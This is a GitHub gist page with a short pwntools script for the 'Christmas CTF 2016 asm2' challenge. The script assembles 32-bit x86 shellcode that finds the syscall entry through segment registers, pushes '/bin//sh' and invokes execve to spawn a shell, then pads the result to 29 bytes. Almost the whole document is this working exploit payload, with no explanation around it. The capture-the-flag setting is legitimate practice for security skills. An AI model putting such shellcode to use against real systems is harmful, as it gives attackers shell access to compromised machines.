Skip to content

Instantly share code, notes, and snippets.

@Jinmo

Jinmo/asm2.py Secret

Created December 25, 2016 06:11
Show Gist options
  • Save Jinmo/97736639ecf7db9b0cabf9c5de58cf3e to your computer and use it in GitHub Desktop.
Save Jinmo/97736639ecf7db9b0cabf9c5de58cf3e to your computer and use it in GitHub Desktop.
Christmas CTF 2016 asm2
from pwn import *
data = asm('''
mov eax, gs
mov fs, eax
mov al, 0x10
mov edi, fs:[eax]
mov al, 11
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
call edi
''')
if len(data) > 29:
print 'wtf'
exit()
print data.ljust(29)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment